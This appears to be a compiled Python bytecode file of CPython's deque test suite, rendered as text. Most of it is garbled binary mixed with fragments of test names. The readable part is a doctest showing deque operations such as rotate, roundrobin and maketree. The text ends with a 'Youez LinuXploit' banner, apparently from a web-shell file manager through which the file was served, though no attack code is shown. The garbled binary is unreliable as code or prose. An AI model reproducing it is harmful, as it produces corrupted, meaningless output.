IterGenExc)rrvr�s&  r�test_constructor�(TestVariousIteratorArgs.test_constructors�����U�4�[�+�u�T�$�q�7I�J�A��(�(�)�*<�*<��'�'��)?�)?��)�)�9�+=�+=�?��� � ��e�A�a�D�k�!2�D��1��J�?�?�
���i��	�0F�0F�q�0I�J����i��	�0D�0D�Q�0G�H����/��	�8L�8L�Q�8O�P�Krc��[Q2o[U2oUO2UO[[
U2P!)�abcdefg)rrNr9rLrrQ�rr<rSs&  r�test_iter_with_altered_data�3TestVariousIteratorArgs.test_iter_with_altered_datas0���)���
�!�W��	�������,��b�1rc��[2o[U2oUO]
2UO[[
U2P!rZ)rrNr2rLrrQr�s&  r�!test_runtime_error_on_empty_deque�9TestVariousIteratorArgs.test_runtime_error_on_empty_deques/���G��
�!�W��	��������,��b�1rr
)	rrrrr�r�r�rrrs@rr�r�	s����Q�2�2�2rr�c��\sQsQsQsP!)�Deque�!r
r~r
rrr�r�!s��rr�c��\sQsQsQsQsP!)�DequeWithSlots�$r
)r�r��__dict__)rrrr�	__slots__rr
rrr�r�$s��&�Irr�c�(`�\sQsQsnQsQsUsP!)�DequeWithBadIter�'c��[gr)rtr"s&r�__iter__�DequeWithBadIter.__iter__(s���rr
�rrrrr�rrrs@rr�r�'s�����rr�c�d`�\sQsQsnQsQsQsQsQs\	OQ2sQsUs
P!)	�TestSubclass�+c	��[[]22oUO[]�22[]�Q2FDoUOU2J	[	[Q]22FDoUOU2J	UO
[U2[[QQ222UO
[U2Q2[]�2Tt,tFDp!O2MJ	ooUO
U[[Q]2222UO
[U2[[]2Q222[]�2Tt,tFDp!O2MJ	ooUO2UO
U[[]�Q222UO
[U2[[]2]�222UO2UO
[U2]2P!ttohttoh)�r.r/r0)
r�r1r&r2r3r4r5r6r7r8r9r:r)r;s&    rr@�TestSubclass.test_basics-sk���%��)���	�
�
�5��:���s�C��A�
�H�H�Q�K�!��%��a�.�)�A�
�L�L��O�*�����a��$�u�T�3�'7�"8�9�����Q���%�%*�3�Z�0�Z��	�	��Z��0�����t�E�$��O�4�5�����a��$�u�R��~�"6�7�"'��*�-�*�Q����*��-�
�
�
�������U�3��_� 5�6�����a��$�u�R��~�"6�7�	���	�����Q���#��1��.s�G?�Hc��[[1FCD�oUQ2UQ]Q51FCD�oQ,UmQ,UmUO	2oUO[
U2[
U22UO[U2[U22UU2oUO[
U2[
U22UO[U2[U22[[O]*2FD�o[OV$2o[OU2oUO[U2[U22UO[
U2[
U22UO[U2[U22UOUOUO2UOUOUO2UOUQ2J�	CJ�	CJ�	P!)rCr�rDr��zr�)r�r�r�r��__copy__r5r�r6r1rFrGrHrIrArB�assertNotHasAttr)r�clsr<r�rTrvs&     r�test_copy_pickle�TestSubclass.test_copy_pickleCso���.�(�C���Z��W�Q�!7�7���e����e����J�J�L��� � ��a��$�q�'�2�� � ��a��$�q�'�2���F��� � ��a��$�q�'�2�� � ��a��$�q�'�2�"�6�#:�#:�Q�#>�?�E����Q�.�A����Q��A��'�'��1��r�!�u�5��$�$�T�!�W�d�1�g�6��$�$�T�!�W�d�1�g�6��$�$�Q�S�S�!�#�#�.��$�$�Q�S�S�!�#�#�.��)�)�!�S�1�@�8�)rc
���[[O]*2FCD�o[Q2[Q]21FCD`oUO	U2[O
[OV!22oUO[U2[U22UO[U2[U22UOUOUO2UO2oUO2oUO[U2[U22UOV22V"m
[O
[OV!22oUO[UO2[U22CJc	[Q2[Q]21FD(oUO[ [OV!2J*	CJ�	P!)rrC)r1rFrGr�r2rIrHrArBr5r�rEr9r�r�rLrt)rrTr<r��dd�ees&     rrM�"TestSubclass.test_pickle_recursive[sK���6�2�2�Q�6�7�7�E��5�\�5���?�2��������L�L����a�!7�8���#�#�B�q�E�2�a�5�1�� � ��a��$�q�'�2�� � ����1�8�8�4��U�U�W���U�U�W��� � ��B���A��/�� � ��&����L�L����a�!7�8��� � ��A�C�C��"�Q�%�0�3� &�e�,�.>�u�a�.H�H���!�!�)�V�\�\�1�D�I�#8rc��[Q2o[OU2oUO[	U2[	U22Po[
O2UO[[U2P!)�gallahad)	rr��proxyr5�strr�
gc_collectrL�ReferenceError)rr<�ps&  r�test_weakref�TestSubclass.test_weakrefpsU���*����M�M�!�������Q���Q��(����������.�#�q�1rc�V�QQ[2oU,QN2oU,QN2oV#6HP!)c�(`�\sQsQsnQsQsUsP!)�-TestSubclass.test_strange_subclass.<locals>.X�yc��[,2!r)rNr"s&rr��6TestSubclass.test_strange_subclass.<locals>.X.__iter__zs���B�x�rr
r�rs@r�Xr�ys����
 �
 rr�rp)���r)rr��d1�d2s&   r�test_strange_subclass�"TestSubclass.test_strange_subclassxs'��	 ��	 ��w�Z��
�w�Z��
�rc�f�QQ[2oU2oQoV1mUO[29^tt^2U]**PPP2UO[29^tt^2U[,QN2*PPP2P!)%fhKL9h)%fhP!9h)c��\sQsQsQsP!)�&TestSubclass.test_bug_31608.<locals>.X�r
r~r
rrr�r��r�rr�c�
�]*,!)�*r
)r�r��kwargss&*,r�bad___new__�0TestSubclass.test_bug_31608.<locals>.bad___new__�s	���4�Krrp)r�__new__rLrt)rr�r<r�s&   r�test_bug_31608�TestSubclass.test_bug_31608�su��	��	�
�C��	��	�
�
�
�y�
)�
)�
��F�*�
�
�
�y�
)�
)�
��i� � �*�
)�*�
)��
)�
)�
)�s#�
B�-B�B	�B	�B0	�(B0	r
)rrrrr@r�rMr�r�rr�r�rrrs@rr�r�+s9����$�,2�0E�*2��
���!��!rr�c�,`�\sQsQsnQQksQsUsP!)�SubclassWithKwargs�c�4�[OU2P!r)rr&)r�newargs&&rr&�SubclassWithKwargs.__init__�s��
���t�rr
r)rrrrr&rrrs@rr�r��s�����rr�c�(`�\sQsQsnQsQsUsP!)�TestSubclassWithKwargs�c� �[]Q5P!)r)r�)r�r"s&r�test_subclass_with_kwargs�0TestSubclassWithKwargs.test_subclass_with_kwargs�s
���!�$rr
)rrrrr�rrrs@rr�r��s����%�%rr�c�>`�\sQsQsn\sQsQsQsQs	Qs
UsP!)�TestSequence�c��P!rr
r"s&rr��TestSequence.test_getitem����rc��P!rr
r"s&r�
test_getslice�TestSequence.test_getslice�rrc��P!rr
r"s&r�test_subscript�TestSequence.test_subscript�rrc�*�UOQ2P!)z-Exhausted deque iterator doesn't free a deque)�skipTestr"s&r�test_free_after_iterating�&TestSequence.test_free_after_iterating�s���
�
�E�Frr
)rrrrr�	type2testr�rr
rrrrs@rrr�s%�����I�
�
�
�G�Grra�

Example from the Library Reference:  Doc/lib/libcollections.tex

>>> from collections import deque
>>> d = deque('ghi')                 # make a new deque with three items
>>> for elem in d:                   # iterate over the deque's elements
...     print(elem.upper())
G
H
I
>>> d.append('j')                    # add a new entry to the right side
>>> d.appendleft('f')                # add a new entry to the left side
>>> d                                # show the representation of the deque
deque(['f', 'g', 'h', 'i', 'j'])
>>> d.pop()                          # return and remove the rightmost item
'j'
>>> d.popleft()                      # return and remove the leftmost item
'f'
>>> list(d)                          # list the contents of the deque
['g', 'h', 'i']
>>> d[0]                             # peek at leftmost item
'g'
>>> d[-1]                            # peek at rightmost item
'i'
>>> list(reversed(d))                # list the contents of a deque in reverse
['i', 'h', 'g']
>>> 'h' in d                         # search the deque
True
>>> d.extend('jkl')                  # add multiple elements at once
>>> d
deque(['g', 'h', 'i', 'j', 'k', 'l'])
>>> d.rotate(1)                      # right rotation
>>> d
deque(['l', 'g', 'h', 'i', 'j', 'k'])
>>> d.rotate(-1)                     # left rotation
>>> d
deque(['g', 'h', 'i', 'j', 'k', 'l'])
>>> deque(reversed(d))               # make a new deque in reverse order
deque(['l', 'k', 'j', 'i', 'h', 'g'])
>>> d.clear()                        # empty the deque
>>> d.pop()                          # cannot pop from an empty deque
Traceback (most recent call last):
  File "<pyshell#6>", line 1, in -toplevel-
    d.pop()
IndexError: pop from an empty deque

>>> d.extendleft('abc')              # extendleft() reverses the input order
>>> d
deque(['c', 'b', 'a'])



>>> def delete_nth(d, n):
...     d.rotate(-n)
...     d.popleft()
...     d.rotate(n)
...
>>> d = deque('abcdef')
>>> delete_nth(d, 2)   # remove the entry at d[2]
>>> d
deque(['a', 'b', 'd', 'e', 'f'])



>>> def roundrobin(*iterables):
...     pending = deque(iter(i) for i in iterables)
...     while pending:
...         task = pending.popleft()
...         try:
...             yield next(task)
...         except StopIteration:
...             continue
...         pending.append(task)
...

>>> for value in roundrobin('abc', 'd', 'efgh'):
...     print(value)
...
a
d
e
b
f
c
g
h


>>> def maketree(iterable):
...     d = deque(iterable)
...     while len(d) > 1:
...         pair = [d.popleft(), d.popleft()]
...         d.append(pair)
...     return list(d)
...
>>> print(maketree('abcdefgh'))
[[[['a', 'b'], ['c', 'd']], [['e', 'f'], ['g', 'h']]]]

�
libreftestc�P�UO[O22U!r)�addTest�doctest�DocTestSuite)�loader�tests�patterns&&&r�
load_testsrs��	�M�M�'�&�&�(�)��Lr�__main__)!�collectionsrr�unittest�testrrrvr�r[rFr�r�rr
rr"�TestCaser,r�r�r�r�r�r�r��
CommonTestrr�__test__rr�mainr
rr�<module>r"s�����#�	���
�
�
��������iG��!�!�iG�V2�h�/�/�2�0	�E�	�'�U�'��u��c!�8�$�$�c!�L���%�X�.�.�%�
G�9�'�'�G�*b�
�N
�:�&���
�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit